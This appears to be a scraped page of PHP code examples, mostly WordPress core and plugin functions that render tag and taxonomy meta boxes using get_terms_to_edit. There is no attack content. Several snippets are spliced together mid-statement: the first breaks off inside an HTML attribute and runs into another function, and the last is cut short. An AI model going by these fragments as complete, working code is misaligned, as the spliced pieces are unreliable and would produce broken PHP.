Exemple #1
0
/**
 * Display post tags form fields.
 *
 * @since 2.6.0
 *
 * @param object $post
 */
function cwp_taxonomy_meta_box($post, $box)
{
    $tax_name = esc_attr(substr($box['id'], 25));
    $taxonomy = get_taxonomy($tax_name);
    $helps = isset($taxonomy->helps) ? esc_attr($taxonomy->helps) : __('Separate ' . $tax_name . 's with commas.');
    ?>
	<div class="tagsdiv" id="<?php 
    echo $tax_name;
    ?>
">
		<div class="jaxtag">
		<div class="nojs-tags hide-if-js">
		<p><?php 
    _e('Add or remove tags');
    ?>
</p>
		<textarea name="<?php 
    echo "tax_input[{$tax_name}]";
    ?>
" class="the-tags" id="tax-input[<?php 
    echo $tax_name;
    ?>
]"><?php 
    echo esc_attr(get_terms_to_edit($post->ID, $tax_name));
    ?>
</textarea></div>
	
		<span class="ajaxtag hide-if-no-js">
			<label class="screen-reader-text" for="new-tag-<?php 
    echo $tax_name;
    ?>
"><?php 
    echo $box['title'];
    ?>
</label>
			<input type="text" id="new-tag-<?php 
    echo $tax_name;
    ?>
" name="newtag[<?php 
    echo $tax_name;
    ?>
]" class="newtag form-input-tip" size="16" autocomplete="off" value="<?php 
    esc_attr_e('Add new ' . $tax_name);
    ?>
 function get($data)
 {
     extract($data);
     if ('terminput' == $type) {
         $tags = get_terms_to_edit($post_id, $taxonomy);
         $tags = str_replace(',', ', ', $tags);
         return $tags;
     } else {
         $terms = get_the_terms($post_id, $taxonomy);
         if (empty($terms)) {
             $selected = 0;
         } else {
             $selected = reset($terms)->term_id;
         }
         return wp_dropdown_categories(array('taxonomy' => $taxonomy, 'selected' => $selected, 'hide_empty' => false, 'hierarchical' => true, 'show_option_none' => __('&mdash; None &mdash;', 'front-end-editor'), 'echo' => false));
     }
 }
/**
 * Display post tags form fields.
 *
 * @since 2.6.0
 *
 * @param object $post
 */
function post_tags_meta_box($post, $box)
{
    $defaults = array('taxonomy' => 'post_tag');
    if (!isset($box['args']) || !is_array($box['args'])) {
        $args = array();
    } else {
        $args = $box['args'];
    }
    extract(wp_parse_args($args, $defaults), EXTR_SKIP);
    $tax_name = esc_attr($taxonomy);
    $taxonomy = get_taxonomy($taxonomy);
    $disabled = !current_user_can($taxonomy->cap->assign_terms) ? 'disabled="disabled"' : '';
    ?>
<div class="tagsdiv" id="<?php 
    echo $tax_name;
    ?>
">
	<div class="jaxtag">
	<div class="nojs-tags hide-if-js">
	<p><?php 
    echo $taxonomy->labels->add_or_remove_items;
    ?>
</p>
	<textarea name="<?php 
    echo "tax_input[{$tax_name}]";
    ?>
" rows="3" cols="20" class="the-tags" id="tax-input-<?php 
    echo $tax_name;
    ?>
" <?php 
    echo $disabled;
    ?>
><?php 
    echo esc_attr(get_terms_to_edit($post->ID, $tax_name));
    ?>
</textarea></div>
 	<?php 
    if (current_user_can($taxonomy->cap->assign_terms)) {
        ?>
	<div class="ajaxtag hide-if-no-js">
		<label class="screen-reader-text" for="new-tag-<?php 
        echo $tax_name;
        ?>
"><?php 
        echo $box['title'];
        ?>
</label>
		<div class="taghint"><?php 
        echo $taxonomy->labels->add_new_item;
        ?>
</div>
		<p><input type="text" id="new-tag-<?php 
        echo $tax_name;
        ?>
" name="newtag[<?php 
        echo $tax_name;
        ?>
]" class="newtag form-input-tip" size="16" autocomplete="off" value="" />
		<input type="button" class="button tagadd" value="<?php 
        esc_attr_e('Add');
        ?>
" tabindex="3" /></p>
	</div>
	<p class="howto"><?php 
        echo esc_attr($taxonomy->labels->separate_items_with_commas);
        ?>
</p>
	<?php 
    }
    ?>
	</div>
	<div class="tagchecklist"></div>
</div>
<?php 
    if (current_user_can($taxonomy->cap->assign_terms)) {
        ?>
<p class="hide-if-no-js"><a href="#titlediv" class="tagcloud-link" id="link-<?php 
        echo $tax_name;
        ?>
"><?php 
        echo $taxonomy->labels->choose_from_most_used;
        ?>
</a></p>
<?php 
    } else {
        ?>
<p><em><?php 
        _e('You cannot modify this taxonomy.');
        ?>
</em></p>
<?php 
    }
}
/**
 * {@internal Missing Short Description}}
 *
 * @since 2.7.0
 *
 * @param unknown_type $post
 */
function get_inline_data($post)
{
    $post_type_object = get_post_type_object($post->post_type);
    if (!current_user_can($post_type_object->cap->edit_post, $post->ID)) {
        return;
    }
    $title = esc_textarea(trim($post->post_title));
    echo '
<div class="hidden" id="inline_' . $post->ID . '">
	<div class="post_title">' . $title . '</div>
	<div class="post_name">' . apply_filters('editable_slug', $post->post_name) . '</div>
	<div class="post_author">' . $post->post_author . '</div>
	<div class="comment_status">' . esc_html($post->comment_status) . '</div>
	<div class="ping_status">' . esc_html($post->ping_status) . '</div>
	<div class="_status">' . esc_html($post->post_status) . '</div>
	<div class="jj">' . mysql2date('d', $post->post_date, false) . '</div>
	<div class="mm">' . mysql2date('m', $post->post_date, false) . '</div>
	<div class="aa">' . mysql2date('Y', $post->post_date, false) . '</div>
	<div class="hh">' . mysql2date('H', $post->post_date, false) . '</div>
	<div class="mn">' . mysql2date('i', $post->post_date, false) . '</div>
	<div class="ss">' . mysql2date('s', $post->post_date, false) . '</div>
	<div class="post_password">' . esc_html($post->post_password) . '</div>';
    if ($post_type_object->hierarchical) {
        echo '<div class="post_parent">' . $post->post_parent . '</div>';
    }
    if ($post->post_type == 'page') {
        echo '<div class="page_template">' . esc_html(get_post_meta($post->ID, '_wp_page_template', true)) . '</div>';
    }
    if ($post_type_object->hierarchical) {
        echo '<div class="menu_order">' . $post->menu_order . '</div>';
    }
    $taxonomy_names = get_object_taxonomies($post->post_type);
    foreach ($taxonomy_names as $taxonomy_name) {
        $taxonomy = get_taxonomy($taxonomy_name);
        if ($taxonomy->hierarchical && $taxonomy->show_ui) {
            echo '<div class="post_category" id="' . $taxonomy_name . '_' . $post->ID . '">' . implode(',', wp_get_object_terms($post->ID, $taxonomy_name, array('fields' => 'ids'))) . '</div>';
        } elseif ($taxonomy->show_ui) {
            echo '<div class="tags_input" id="' . $taxonomy_name . '_' . $post->ID . '">' . esc_html(str_replace(',', ', ', get_terms_to_edit($post->ID, $taxonomy_name))) . '</div>';
        }
    }
    if (!$post_type_object->hierarchical) {
        echo '<div class="sticky">' . (is_sticky($post->ID) ? 'sticky' : '') . '</div>';
    }
    if (post_type_supports($post->post_type, 'post-formats')) {
        echo '<div class="post_format">' . esc_html(get_post_format($post->ID)) . '</div>';
    }
    echo '</div>';
}
 /**
  * Add hidden fields with the data for use in the inline editor
  *
  * @since 0.20
  * 
  * @param	object	A singular attachment (post) object
  *
  * @return	string	HTML <div> with row data
  */
 private function _build_inline_data($item)
 {
     $inline_data = "\r\n" . '<div class="hidden" id="inline_' . $item->ID . "\">\r\n";
     $inline_data .= '	<div class="post_title">' . esc_attr($item->post_title) . "</div>\r\n";
     $inline_data .= '	<div class="post_name">' . esc_attr($item->post_name) . "</div>\r\n";
     $inline_data .= '	<div class="post_excerpt">' . esc_attr($item->post_excerpt) . "</div>\r\n";
     $inline_data .= '	<div class="post_content">' . esc_attr($item->post_content) . "</div>\r\n";
     if (!empty($item->mla_wp_attachment_metadata)) {
         if (isset($item->mla_wp_attachment_image_alt)) {
             $inline_data .= '	<div class="image_alt">' . esc_attr($item->mla_wp_attachment_image_alt) . "</div>\r\n";
         } else {
             $inline_data .= '	<div class="image_alt">' . "</div>\r\n";
         }
     }
     $inline_data .= '	<div class="post_parent">' . $item->post_parent . "</div>\r\n";
     $inline_data .= '	<div class="menu_order">' . $item->menu_order . "</div>\r\n";
     $inline_data .= '	<div class="post_author">' . $item->post_author . "</div>\r\n";
     $custom_fields = MLAOptions::mla_custom_field_support('quick_edit');
     $custom_fields = array_merge($custom_fields, MLAOptions::mla_custom_field_support('bulk_edit'));
     foreach ($custom_fields as $slug => $label) {
         $value = get_metadata('post', $item->ID, $label, true);
         $inline_data .= '	<div class="' . $slug . '">' . esc_html($value) . "</div>\r\n";
     }
     $taxonomies = get_object_taxonomies('attachment', 'objects');
     foreach ($taxonomies as $tax_name => $tax_object) {
         if ($tax_object->hierarchical && $tax_object->show_ui && MLAOptions::mla_taxonomy_support($tax_name, 'quick-edit')) {
             $inline_data .= '	<div class="mla_category" id="' . $tax_name . '_' . $item->ID . '">' . implode(',', wp_get_object_terms($item->ID, $tax_name, array('fields' => 'ids'))) . "</div>\r\n";
         } elseif ($tax_object->show_ui && MLAOptions::mla_taxonomy_support($tax_name, 'quick-edit')) {
             $inline_data .= '	<div class="mla_tags" id="' . $tax_name . '_' . $item->ID . '">' . esc_html(str_replace(',', ', ', get_terms_to_edit($item->ID, $tax_name))) . "</div>\r\n";
         }
     }
     $inline_data .= "</div>\r\n";
     return $inline_data;
 }
Exemple #6
0
    /**
     * This function is invoked when a CPT-onomy meta box is attached to a post type's edit post screen.
     * This 'callback' function prints the html for the meta box.
     *
     * The meta box consists of a checklist that allows the user to assign/manage the taxonomy's terms.
     * This function mimics a meta box for an ordinary custom taxonomy.
     *
     * Version 1.1 brought support for 'autocomplete' and 'dropdown' selection format,
     * on top of the already existent 'checklist'.
     *
     * CPT-onomies follows default WordPress behavior, providing a checklist for hierarchical
     * CPT-onomies and the autocomplete box for non-hierarchical CPT-onomies. You can change the
     * format by hooking into the 'custom_post_type_onomies_meta_box_format' filter, which passes
     * two parameters: the $taxonomy and the $post_type.
     *
     * You can designate that you only want specific terms listed in the results by returning their
     * term IDs using the 'custom_post_type_onomies_assigning_cpt_onomy_terms_include_term_ids'
     * filter which passes three parameters: the $taxonomy, the $post_type and the $post_id.
     *
     * You can disable specific terms from being listed in the results by returning their
     * term IDs using the 'custom_post_type_onomies_assigning_cpt_onomy_terms_exclude_term_ids'
     * filter which passes three parameters: the $taxonomy, the $post_type and the $post_id.
     *
     * This code mimics the WordPress function post_categories_meta_box().
     *
     * This function is invoked by the action 'add_meta_boxes'.
     *
     * @since 1.0
     * @param object $post - the current post's information
     * @param array $box - information about the metabox
     * @filters 'custom_post_type_onomies_meta_box_format' - $taxonomy, $post_type
     */
    public function print_cpt_onomy_meta_box($post, $metabox)
    {
        // add nonce
        wp_nonce_field('assigning_' . CPT_ONOMIES_UNDERSCORE . '_taxonomy_relationships', CPT_ONOMIES_UNDERSCORE . '_nonce');
        // define variables
        $post_type = isset($post->post_type) && !empty($post->post_type) && post_type_exists($post->post_type) ? $post->post_type : NULL;
        $taxonomy = isset($metabox['args']['taxonomy']) && !empty($metabox['args']['taxonomy']) && taxonomy_exists($metabox['args']['taxonomy']) ? $metabox['args']['taxonomy'] : NULL;
        if ($post_type && $taxonomy) {
            // get taxonomy info
            $tax = get_taxonomy($taxonomy);
            // if 'meta_box_format' is not defined, use default WordPress setting
            if (!($format = isset($tax->meta_box_format) && !empty($tax->meta_box_format) ? $tax->meta_box_format : NULL)) {
                $format = is_post_type_hierarchical($taxonomy) ? 'checklist' : 'autocomplete';
            }
            // allow the user to change the format - 'autocomplete', 'dropdown', 'checklist' - default
            $format = apply_filters('custom_post_type_onomies_meta_box_format', $format, $taxonomy, $post_type);
            // does the user have permission to assign terms?
            $disabled = !current_user_can($tax->cap->assign_terms) ? ' disabled="disabled"' : '';
            // allows you to use the 'custom_post_type_onomies_assigning_cpt_onomy_terms_include_term_ids' filter
            // to designate that you only want specific terms to be printed and therefore assigned. The term ids
            // are stored in an array that is used to customize each printed format. 'Include' overwrites 'exclude'.
            $include_term_ids = $this->get_cpt_onomy_terms_include_term_ids($taxonomy, $post_type, $post->ID);
            // allows you to use the 'custom_post_type_onomies_assigning_cpt_onomy_terms_exclude_term_ids' filter
            // to exclude specific terms from being printed and therefore assigned. The term ids are stored in
            // an array that is used to customize each printed format. While 'include' overwrites 'exclude', if
            // exclude terms are in the include array, they will be removed.
            $exclude_term_ids = $this->get_cpt_onomy_terms_exclude_term_ids($taxonomy, $post_type, $post->ID);
            // add field for testing "editability" when we save the information
            ?>
<input type="hidden" name="assign_cpt_onomies_<?php 
            echo $taxonomy;
            ?>
_rel" value="1" /><?php 
            switch ($format) {
                case 'autocomplete':
                    ?>
<div id="taxonomy-<?php 
                    echo $taxonomy;
                    ?>
" class="cpt_onomies_tags_div">
						<div class="jaxtag">
							<div class="nojs-tags hide-if-js">
								<p><?php 
                    _e($tax->labels->add_or_remove_items, CPT_ONOMIES_TEXTDOMAIN);
                    ?>
</p>
								<textarea name="<?php 
                    echo CPT_ONOMIES_POSTMETA_KEY;
                    ?>
[<?php 
                    echo $taxonomy;
                    ?>
]" rows="3" cols="20" class="the-tags" id="tax-input-<?php 
                    echo $taxonomy;
                    ?>
"<?php 
                    echo $disabled;
                    ?>
><?php 
                    echo get_terms_to_edit($post->ID, $taxonomy);
                    // textarea_escaped by esc_attr()
                    ?>
</textarea>
							</div>
							<?php 
                    if (current_user_can($tax->cap->assign_terms)) {
                        ?>
								<div class="ajaxtag hide-if-no-js">
									<label class="screen-reader-text" for="new-tag-<?php 
                        echo $taxonomy;
                        ?>
"><?php 
                        echo $metabox['title'];
                        ?>
</label>
									<div class="taghint"><?php 
                        _e($tax->labels->add_new_item, CPT_ONOMIES_TEXTDOMAIN);
                        ?>
</div>
									<p>
										<input type="text" id="new-tag-<?php 
                        echo $taxonomy;
                        ?>
" name="cpt_onomies_new_tag[<?php 
                        echo $taxonomy;
                        ?>
]" class="cpt_onomies_new_tag form-input-tip" size="16" autocomplete="off" value="" />
										<input type="button" class="button cpt_onomies_tag_add" value="<?php 
                        esc_attr_e('Add', CPT_ONOMIES_TEXTDOMAIN);
                        ?>
" tabindex="3" />
									</p>
								</div>
							<?php 
                    }
                    ?>
						</div>
						<div class="cpt_onomies_tag_checklist<?php 
                    if (!current_user_can($tax->cap->assign_terms)) {
                        echo ' alone';
                    }
                    ?>
"></div>
					</div>
					<?php 
                    if (current_user_can($tax->cap->assign_terms)) {
                        ?>
						<p class="hide-if-no-js"><a href="#titlediv" class="cpt_onomies_tag_cloud" id="link-<?php 
                        echo $taxonomy;
                        ?>
"><?php 
                        _e($tax->labels->choose_from_most_used, CPT_ONOMIES_TEXTDOMAIN);
                        ?>
</a></p>
					<?php 
                    }
                    break;
                case 'dropdown':
                    // get ALL info and then extract IDs because of ID conflict with regular taxonomies
                    $selected_terms = wp_get_object_terms($post->ID, $taxonomy);
                    // we only need the first term for a dropdown
                    $selected_term = $selected_terms ? array_shift($selected_terms)->term_id : 0;
                    // because the dropdown function only has 'exclude', if 'include' is set,
                    // we have to get all of the terms and exclude everything but what's in 'include'
                    $dropdown_exclude_term_ids = array();
                    if ($include_term_ids) {
                        // get all terms for this taxonomy that are not in 'include'
                        foreach (get_terms($taxonomy, array('hide_empty' => false, 'fields' => 'ids')) as $term_id) {
                            if (!in_array($term_id, $include_term_ids)) {
                                $dropdown_exclude_term_ids[] = $term_id;
                            }
                        }
                    }
                    // make sure 'exclude' term ids are included
                    if ($exclude_term_ids) {
                        $dropdown_exclude_term_ids = array_unique(array_merge($dropdown_exclude_term_ids, $exclude_term_ids));
                    }
                    $dropdown = wp_dropdown_categories(array('show_option_none' => 'No ' . $tax->labels->all_items . ' are selected', 'orderby' => 'name', 'order' => 'ASC', 'show_count' => false, 'hide_empty' => false, 'exclude' => $dropdown_exclude_term_ids, 'echo' => false, 'selected' => $selected_term, 'hierarchical' => is_post_type_hierarchical($taxonomy), 'name' => CPT_ONOMIES_POSTMETA_KEY . '[' . $taxonomy . '][]', 'id' => 'taxonomy-' . $taxonomy, 'class' => 'category cpt_onomies', 'taxonomy' => $taxonomy, 'hide_if_empty' => false));
                    // need to add disabled to select element
                    // as a backup, this attribute is also checked in admin-post.js
                    if ($disabled) {
                        $dropdown = preg_replace('/^\\<select/', '<select' . $disabled, $dropdown);
                    }
                    // print dropdown
                    echo $dropdown;
                    break;
                case 'checklist':
                default:
                    ?>
<div id="taxonomy-<?php 
                    echo $taxonomy;
                    ?>
" class="categorydiv cpt_onomies">
						<ul id="<?php 
                    echo $taxonomy;
                    ?>
-tabs" class="category-tabs">
							<li class="tabs"><a href="#<?php 
                    echo $taxonomy;
                    ?>
-all" tabindex="3"><?php 
                    _e($tax->labels->all_items, CPT_ONOMIES_TEXTDOMAIN);
                    ?>
</a></li>
							<li class="hide-if-no-js"><a href="#<?php 
                    echo $taxonomy;
                    ?>
-pop" tabindex="3"><?php 
                    _e('Most Used', CPT_ONOMIES_TEXTDOMAIN);
                    ?>
</a></li>
						</ul>
				
						<div id="<?php 
                    echo $taxonomy;
                    ?>
-pop" class="tabs-panel" style="display:none;">
							<ul id="<?php 
                    echo $taxonomy;
                    ?>
checklist-pop" class="categorychecklist form-no-clear" >
								<?php 
                    $popular_ids = wp_popular_terms_checklist($taxonomy);
                    ?>
							</ul>
						</div>
				
						<div id="<?php 
                    echo $taxonomy;
                    ?>
-all" class="tabs-panel">
							<ul id="<?php 
                    echo $taxonomy;
                    ?>
checklist" class="list:<?php 
                    echo $taxonomy;
                    ?>
 categorychecklist form-no-clear">
								<?php 
                    wp_terms_checklist($post->ID, array('taxonomy' => $taxonomy, 'popular_cats' => $popular_ids, 'walker' => new CPTonomy_Walker_Terms_Checklist()));
                    ?>
							</ul>
						</div>
					</div><?php 
                    break;
            }
        }
    }
/**
 * Display post tags form fields.
 *
 * @since 2.6.0
 *
 * @param object $post
 */
function post_tags_meta_box($post, $box)
{
    $tax_name = substr($box['id'], 8);
    $taxonomy = get_taxonomy($tax_name);
    $helps = isset($taxonomy->helps) ? attribute_escape($taxonomy->helps) : __('Separate tags with commas.');
    ?>
<div class="tagsdiv" id="<?php 
    echo $tax_name;
    ?>
"> 
	<p class="jaxtag">
		<label class="hidden" for="newtag"><?php 
    _e($box['title']);
    ?>
</label>
		<input type="hidden" name="<?php 
    echo "tax_input[{$tax_name}]";
    ?>
" class="the-tags" id="tax-input[<?php 
    echo $tax_name;
    ?>
]" value="<?php 
    echo get_terms_to_edit($post->ID, $tax_name);
    ?>
" /> 
	 
	<span class="ajaxtag">
		<input type="text" name="newtag[<?php 
    echo $tax_name;
    ?>
]" class="newtag form-input-tip" size="16" autocomplete="off" value="<?php 
    _e('Add new tag');
    ?>
" />
		<input type="button" class="button tagadd" value="<?php 
    _e('Add');
    ?>
" tabindex="3" />
	</span></p>
	<p class="howto"><?php 
    echo $helps;
    ?>
</p>
	<div class="tagchecklist"></div> 
</div> 
<p class="tagcloud-link hide-if-no-js"><a href="#titlediv" class="tagcloud-link" id="link-<?php 
    echo $tax_name;
    ?>
"><?php 
    printf(__('Choose from the most used tags in %s'), $box['title']);
    ?>
</a></p>
<?php 
}
/**
 * Display post tags form fields. Based on WP core's post_tags_meta_box()
 *
 * @since 1.0-beta
 *
 * @param object $post
 */
function bp_docs_post_tags_meta_box()
{
    global $bp;
    require_once ABSPATH . '/wp-admin/includes/taxonomy.php';
    $defaults = array('taxonomy' => $bp->bp_docs->docs_tag_tax_name);
    if (!isset($box['args']) || !is_array($box['args'])) {
        $args = array();
    } else {
        $args = $box['args'];
    }
    extract(wp_parse_args($args, $defaults), EXTR_SKIP);
    $tax_name = esc_attr($taxonomy);
    $taxonomy = get_taxonomy($taxonomy);
    // If this is a failed submission, use the value from the POST cookie
    if (!empty(buddypress()->bp_docs->submitted_data->{$tax_name})) {
        $terms = buddypress()->bp_docs->submitted_data->{$tax_name};
        // If it's an existing Doc, look up the terms
    } else {
        if (bp_docs_is_existing_doc()) {
            $terms = get_terms_to_edit(get_the_ID(), $bp->bp_docs->docs_tag_tax_name);
            // Otherwise nothing to show
        } else {
            $terms = '';
        }
    }
    ?>
	<textarea name="<?php 
    echo "{$tax_name}";
    ?>
" class="the-tags" id="tax-input-<?php 
    echo $tax_name;
    ?>
"><?php 
    echo esc_textarea($terms);
    ?>
</textarea>
<?php 
}
    /**
     * Outputs the tags HTML.
     *
     * @since 4.2.0
     * @access public
     *
     * @param WP_Post $post Post object.
     */
    public function tags_html($post)
    {
        $taxonomy = get_taxonomy('post_tag');
        $user_can_assign_terms = current_user_can($taxonomy->cap->assign_terms);
        $esc_tags = get_terms_to_edit($post->ID, 'post_tag');
        if (!$esc_tags || is_wp_error($esc_tags)) {
            $esc_tags = '';
        }
        ?>
		<div class="tagsdiv" id="post_tag">
			<div class="jaxtag">
			<input type="hidden" name="tax_input[post_tag]" class="the-tags" value="<?php 
        echo $esc_tags;
        // escaped in get_terms_to_edit()
        ?>
">
		 	<?php 
        if ($user_can_assign_terms) {
            ?>
				<div class="ajaxtag hide-if-no-js">
					<label class="screen-reader-text" for="new-tag-post_tag"><?php 
            _e('Tags');
            ?>
</label>
					<p>
						<input type="text" id="new-tag-post_tag" name="newtag[post_tag]" class="newtag form-input-tip" size="16" autocomplete="off" value="" aria-describedby="new-tag-desc" />
						<button type="button" class="tagadd"><?php 
            _e('Add');
            ?>
</button>
					</p>
				</div>
				<p class="howto" id="new-tag-desc">
					<?php 
            echo $taxonomy->labels->separate_items_with_commas;
            ?>
				</p>
				<?php 
        }
        ?>
			</div>
			<div class="tagchecklist"></div>
		</div>
		<?php 
        if ($user_can_assign_terms) {
            ?>
			<button type="button" class="button-reset button-link tagcloud-link" id="link-post_tag"><?php 
            echo $taxonomy->labels->choose_from_most_used;
            ?>
</button>
			<?php 
        }
    }
    function show_property_tags_rightpanel($property)
    {
        $taxes = get_object_taxonomies(STAYPRESS_PROPERTY_POST_TYPE);
        if ($taxes) {
            foreach ($taxes as $key => $value) {
                if (is_taxonomy_hierarchical($value)) {
                    //$mtax = get_taxonomy($value);
                    // Test with standard box
                    $this->show_hierachical_metabox($property, array('args' => array('taxonomy' => $value)));
                } else {
                    $mtax = get_taxonomy($value);
                    echo "<div class='sidebarbox'>";
                    echo '<div title="Click to toggle" class="handlediv" ><br></div>';
                    echo "<h2 class='rightbarheading'>" . esc_html($mtax->label) . "</h2>";
                    echo "<div class='innersidebarbox'>";
                    $tax_name = $value;
                    ?>
					<div class="tagsdiv" id="<?php 
                    echo $tax_name;
                    ?>
">
						<div class="jaxtag">
							<div class="nojs-tags hide-if-js">
								<p><?php 
                    _e('Add or remove tags');
                    ?>
</p>
								<textarea name="<?php 
                    echo "tax_input[{$tax_name}]";
                    ?>
" class="the-tags" id="tax-input[<?php 
                    echo $tax_name;
                    ?>
]"><?php 
                    echo esc_attr(get_terms_to_edit($property->ID, $tax_name));
                    ?>
</textarea>
							</div>

							<div class="ajaxtag hide-if-no-js">
								<label class="screen-reader-text" for="new-tag-<?php 
                    echo $tax_name;
                    ?>
"><?php 
                    echo $mtax->label;
                    ?>
</label>
								<div class="taghint"><?php 
                    _e('Add new tag');
                    ?>
</div>
								<input type="text" id="new-tag-<?php 
                    echo $tax_name;
                    ?>
" name="newtag[<?php 
                    echo $tax_name;
                    ?>
]" class="newtag form-input-tip" size="16" autocomplete="off" value="" />
								<input type="button" class="button tagadd" value="<?php 
                    esc_attr_e('Add');
                    ?>
" tabindex="3" />
							</div>
						</div>
						<p class="howto"><?php 
                    echo _('Separate tags with commas.');
                    ?>
</p>
						<div class="tagchecklist"></div>
					</div>
					<p class="hide-if-no-js"><a href="#titlediv" class="tagcloud-link" id="link-<?php 
                    echo $tax_name;
                    ?>
"><?php 
                    printf(__('Choose from the most used tags in %s'), $mtax->label);
                    ?>
</a></p>
					<?php 
                    echo "</div> <!-- innersidebarbox -->";
                    echo "</div> <!-- sidebarbox -->";
                }
            }
        }
    }
    /**
     * Edit Image Form
     *
     * @param array $form_fields Form fields array.
     * @param object $post Post.
     * @return array Form fields.
     */
    function attachment_fields_to_edit($form_fields, $post)
    {
        global $AttachmentTaxSupp, $current_screen;
        foreach ($form_fields as $key => $val) {
            if (isset($val['hierarchical']) && taxonomy_exists($val['name'])) {
                $tax_name = esc_attr($val['name']);
                $taxonomy = get_taxonomy($val['name']);
                if ($val['hierarchical'] == true) {
                    //$popular_ids = wp_popular_terms_checklist( $tax_name );
                    ob_start();
                    //wp_terms_checklist( $post->ID, array( 'taxonomy' => $tax_name, 'popular_cats' => $popular_ids, 'walker' => new AttachmentTaxSupp_Walker_Category_Checklist ) );
                    $wp_terms_checklist_walker = new AttachmentTaxSupp_Walker_Category_Checklist();
                    $wp_terms_checklist_walker->attachment_id = $post->ID;
                    wp_terms_checklist($post->ID, array('taxonomy' => $tax_name, 'walker' => $wp_terms_checklist_walker));
                    $checklist = ob_get_contents();
                    ob_end_clean();
                    $html = '<div class="inside">
						<div id="taxonomy-' . $tax_name . '" class="categorydiv">
							<ul id="' . $tax_name . '-tabs" class="category-tabs">
								<li class="tabs" style="display: inline;"><a href="#' . $tax_name . '-all" tabindex="3" style="text-decoration:none;">' . $taxonomy->labels->all_items . '</a></li>
								<!--<li class="hide-if-no-js" style="display: inline;"><a href="#' . $tax_name . '-pop" tabindex="3" style="text-decoration:none;">' . __('Most Used') . '</a></li>-->
							</ul>
							<div id="' . $tax_name . '-pop" class="tabs-panel" style="display: none;">
								<ul id="' . $tax_name . 'checklist-pop" class="categorychecklist form-no-clear" >
								</ul>
							</div>
							<div id="' . $tax_name . '-all" class="tabs-panel">
								<input type="hidden" name="' . $tax_name . '[]" value="0" />
								<ul id="' . $tax_name . 'checklist" class="list:' . $tax_name . ' categorychecklist form-no-clear">
									' . $checklist . '
								</ul>
							</div>';
                    /*
                    if ( current_user_can( $taxonomy->cap->edit_terms ) ) :
                    $html .= '
                    		<div id="category-adder" class="wp-hidden-children">
                    			<h4>
                    				<a id="category-add-toggle" href="#category-add" class="hide-if-no-js" tabindex="3">+ Add New Category</a>
                    			</h4>
                    			<p id="category-add" class="category-add wp-hidden-child">
                    				<label class="screen-reader-text" for="newcategory">Add New Category</label>
                    				<input type="text" name="newcategory" id="newcategory" class="form-required form-input-tip" value="New Category Name" tabindex="3" aria-required="true">
                    				<label class="screen-reader-text" for="newcategory_parent">
                    					Parent Category:</label>
                    				<select name="newcategory_parent" id="newcategory_parent" class="postform" tabindex="3">
                    					<option value="-1">— Parent Category —</option>
                    					<option class="level-0" value="33">Temp</option>
                    					<option class="level-0" value="34">Temp 2</option>
                    					<option class="level-1" value="36">&nbsp;&nbsp;&nbsp;Temp 5</option>
                    					<option class="level-0" value="35">Temp 3</option>
                    					<option class="level-0" value="1">Uncategorized</option>
                    				</select>
                    				<input type="button" id="category-add-submit" class="add:categorychecklist:category-add button category-add-sumbit" value="Add New Category" tabindex="3">
                    				<input type="hidden" id="_ajax_nonce-add-category" name="_ajax_nonce-add-category" value="092592c9e4">
                    				<span id="category-ajax-response"></span>
                    			</p>
                    		</div>';
                    endif;
                    */
                    $html .= '
						</div>
						<p><a href="' . admin_url('/edit-tags.php?taxonomy=' . $tax_name . '&post_type=attachment') . '">' . __('Manage', 'attachmenttaxsupp') . ' ' . $taxonomy->labels->name . '</a></p>
					</div>';
                    $html .= wp_nonce_field('update_attachment', '_wpnonce_attachmenttaxsupp', true, false);
                    $form_fields[$key]['input'] = 'html';
                    $form_fields[$key]['html'] = $html;
                } else {
                    $disabled = !current_user_can($taxonomy->cap->assign_terms) ? ' disabled="disabled"' : '';
                    $html = '<div class="inside">
						<div class="tagsdiv" id="' . $tax_name . '">
							<div class="jaxtag">
								<div class="nojs-tags hide-if-js">
									<p>' . $taxonomy->labels->add_or_remove_items . '</p>
									<textarea name="attachments[' . $post->ID . '][' . $tax_name . ']" rows="3" cols="20" class="the-tags" id="attachments[' . $post->ID . '][' . $tax_name . ']"' . $disabled . ' style="margin:0px;">' . get_terms_to_edit($post->ID, $tax_name) . '</textarea>
								</div>';
                    if (current_user_can($taxonomy->cap->assign_terms)) {
                        $html .= '<div class="ajaxtag hide-if-no-js">
									<label class="screen-reader-text" for="new-tag-' . $tax_name . '">' . $val['labels']->name . '</label>
									<div class="taghint screen-reader-text" style="">' . $taxonomy->labels->add_new_item . '</div>
									<p><input type="text" id="new-tag-' . $tax_name . '" name="newtag[' . $tax_name . ']" class="newtag form-input-tip" size="16" autocomplete="off" value="">
										<input type="button" class="button tagadd" value="' . esc_attr('Add') . '" tabindex="3"></p>
								</div>
								<p class="howto">' . esc_attr($taxonomy->labels->separate_items_with_commas) . '</p>
							</div>';
                    }
                    $html .= '<div class="tagchecklist"></div>';
                    if (current_user_can($taxonomy->cap->assign_terms)) {
                        $html .= '<p class="hide-if-no-js"><a href="#titlediv" class="tagcloud-link" id="link-' . $tax_name . '">' . $taxonomy->labels->choose_from_most_used . '</a></p>';
                    }
                    $html .= '</div>';
                    $html .= '<p><a href="' . admin_url('/edit-tags.php?taxonomy=' . $tax_name . '&post_type=attachment') . '">' . __('Manage', 'attachmenttaxsupp') . ' ' . $taxonomy->labels->name . '</a></p>';
                    $html .= wp_nonce_field('update_attachment', '_wpnonce_attachmenttaxsupp', true, false);
                    if ('async-upload' == $current_screen->id) {
                        $html .= '<script type="text/javascript">tagBox.init();</script>';
                    }
                    $form_fields[$key]['input'] = 'html';
                    $form_fields[$key]['html'] = $html;
                }
            }
        }
        return $form_fields;
    }
Exemple #12
0
/**
 * Display post tags form fields.
 *
 * @since 2.6.0
 *
 * @param object $post
 */
function post_tags_meta_box($post, $box)
{
    $tax_name = esc_attr(substr($box['id'], 8));
    $taxonomy = get_taxonomy($tax_name);
    $helps = isset($taxonomy->helps) ? esc_attr($taxonomy->helps) : esc_attr__('Separate tags with commas.');
    $help_hint = isset($taxonomy->help_hint) ? $taxonomy->help_hint : __('Add new tag');
    $help_nojs = isset($taxonomy->help_nojs) ? $taxonomy->help_nojs : __('Add or remove tags');
    $help_cloud = isset($taxonomy->help_cloud) ? $taxonomy->help_cloud : __('Choose from the most used tags in %s');
    $disabled = !current_user_can($taxonomy->assign_cap) ? 'disabled="disabled"' : '';
    ?>
<div class="tagsdiv" id="<?php 
    echo $tax_name;
    ?>
">
	<div class="jaxtag">
	<div class="nojs-tags hide-if-js">
	<p><?php 
    echo $help_nojs;
    ?>
</p>
	<textarea name="<?php 
    echo "tax_input[{$tax_name}]";
    ?>
